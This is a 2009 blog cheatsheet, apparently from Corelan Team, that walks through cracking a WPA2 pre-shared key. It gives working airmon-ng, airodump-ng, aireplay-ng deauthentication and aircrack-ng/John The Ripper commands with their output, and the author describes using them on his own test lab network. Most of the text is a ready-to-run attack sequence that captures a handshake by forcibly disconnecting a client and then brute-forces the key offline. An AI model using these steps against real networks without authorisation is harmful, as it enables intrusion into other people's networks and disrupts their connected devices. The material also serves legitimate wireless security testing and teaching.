Cheatsheet : Cracking WPA2 PSK with Backtrack 4, aircrack-ng and John The Ripper

Published February 24, 2009 | By Corelan Team (corelanc0d3r)

Basic steps :

- Put interface in monitor mode
- Find wireless network (protected with WPA2 and a Pre Shared Key)
- Capture all packets
- Wait until you see a client and deauthenticate the client, so the handshake can be captured
- Crack the key using a dictionary file (or via John The Ripper)

I'll use a Dlink DWL-G122 (USB) wireless network interface for this procedure. In backtrack4, this device is recognized as wlan0.

First, put the card in monitor mode :

```
root@bt:~# airmon-ng

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0)
ath1            Atheros         madwifi-ng VAP (parent: wifi0)
wlan0           Ralink 2573 USB rt73usb - [phy0]

root@bt:~# airmon-ng start wlan0

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0)
ath1            Atheros         madwifi-ng VAP (parent: wifi0)
wlan0           Ralink 2573 USB rt73usb - [phy0]
                                (monitor mode enabled on mon0)
```

Ok, we can now use interface mon0

Let's find a wireless network that uses WPA2 / PSK :

```
root@bt:~# airodump-ng mon0

 CH  6 ][ Elapsed: 4 s ][ 2009-02-21 12:57

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
```

```
00:19:5B:52:AD:F7  -33        5        0    0  10  54   WPA2 CCMP   PSK  TestNet

BSSID              STATION            PWR   Rate   Lost  Packets  Probe

00:19:5B:52:AD:F7  00:1C:BF:90:5B:A3  -29   0- 1     12        4  TestNet
```

Stop airodump-ng and run it again, writing all packets to disk :

```
airodump-ng mon0 --channel 10 --bssid 00:19:5B:52:AD:F7 -w /tmp/wpa2
```

At this point, you have 2 options : either wait until a client connects and the 4-way handshake is complete, or deauthenticate an existing client and thus force it to reassociate. Time is money, so let's force the deauthenticate. We need the bssid of the AP (-a) and the mac of a connected client (-c)

```
root@bt:~# aireplay-ng -0 1 -a 00:19:5B:52:AD:F7 -c 00:1C:BF:90:5B:A3 mon0
13:04:19  Waiting for beacon frame (BSSID: 00:19:5B:52:AD:F7) on channel 10
13:04:20  Sending 64 directed DeAuth. STMAC: [00:1C:BF:90:5B:A3] [67|66 ACKs]
```

As a result, airodump-ng should indicate "WPA Handshake:" in the upper right corner

```
CH 10 ][ Elapsed: 2 mins ][ 2009-02-21 13:04 ][ WPA handshake: 00:19:5B:52:AD:F7

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

00:19:5B:52:AD:F7  -33 100     1338       99    0  10  54   WPA2 CCMP   PSK  TestNet

BSSID              STATION            PWR   Rate   Lost  Packets  Probe

00:19:5B:52:AD:F7  00:1C:BF:90:5B:A3  -27  54-54      0      230
```

Stop airodump-ng and make sure the files were created properly

```
root@bt:/# ls /tmp/wpa2* -al
-rw-r--r-- 1 root root 35189 2009-02-21 13:04 /tmp/wpa2-01.cap
-rw-r--r-- 1 root root   476 2009-02-21 13:04 /tmp/wpa2-01.csv
-rw-r--r-- 1 root root   590 2009-02-21 13:04 /tmp/wpa2-01.kismet.csv
```

Form this point forward, you do not need to be anywhere near the wireless network. All cracking will happen offline, so you can stop airodump and other processes and even walk away from the AP. In fact, I would suggest to walk away and find yourself a cosy place where you can live, eat, sleep, etc…. Cracking a WPA2 PSK key is based on bruteforcing, and it can take a very very long time. There are 2 ways of bruteforcing : one that is relatively fast but does not guarantee success and one that is very slow, but guarantees that you will find the key at some point in time

The first option is by using a worklist/drstionary file. A lot of these files can be found on the internet (e.g. www.theargon.com or on packetstorm (see the archives)), or can be generated with

tools such as John The Ripper. Once the wordlist is created, all you need to do is run aircrack-ng with the worklist and feed it the .cap fie that contains the WPA2 Handshake.

So if your wordlist is called word.lst (under /tmp/wordlists), you can run

```
aircrack-ng –w /tmp/wordlists/word.lst -b 00:19:5B:52:AD:F7 /tmp/wpa2*.cap
```

The success of cracking the WPA2 PSK key is directly linked to the strength of your password file. In other words, you may get lucky and get the key very fast, or you may not get the key at all.
The second method (bruteforcing) will be successfull for sure, but it may take ages to complete. Keep in mind, a WPA2 key can be up to 64 characters, so in theory you would to build every password combination with all possible character sets and feed them into aircrack. If you want to use John The Ripper to create all possible password combinations and feed them into aircrack-ng, this is the command to use :

```
root@bt:~# /pentest/password/jtr/john --stdout --incremental:all | aircrack-ng -b 00:19:5B:52:AD:F7 -w -
/tmp/wpa2*.cap
```

(Note : the PSK in my testlab is only 8 characters, contains one uppercase character and 4 numbers). I will post the output when the key was cracked, including the time it required to crack the key.

That’s it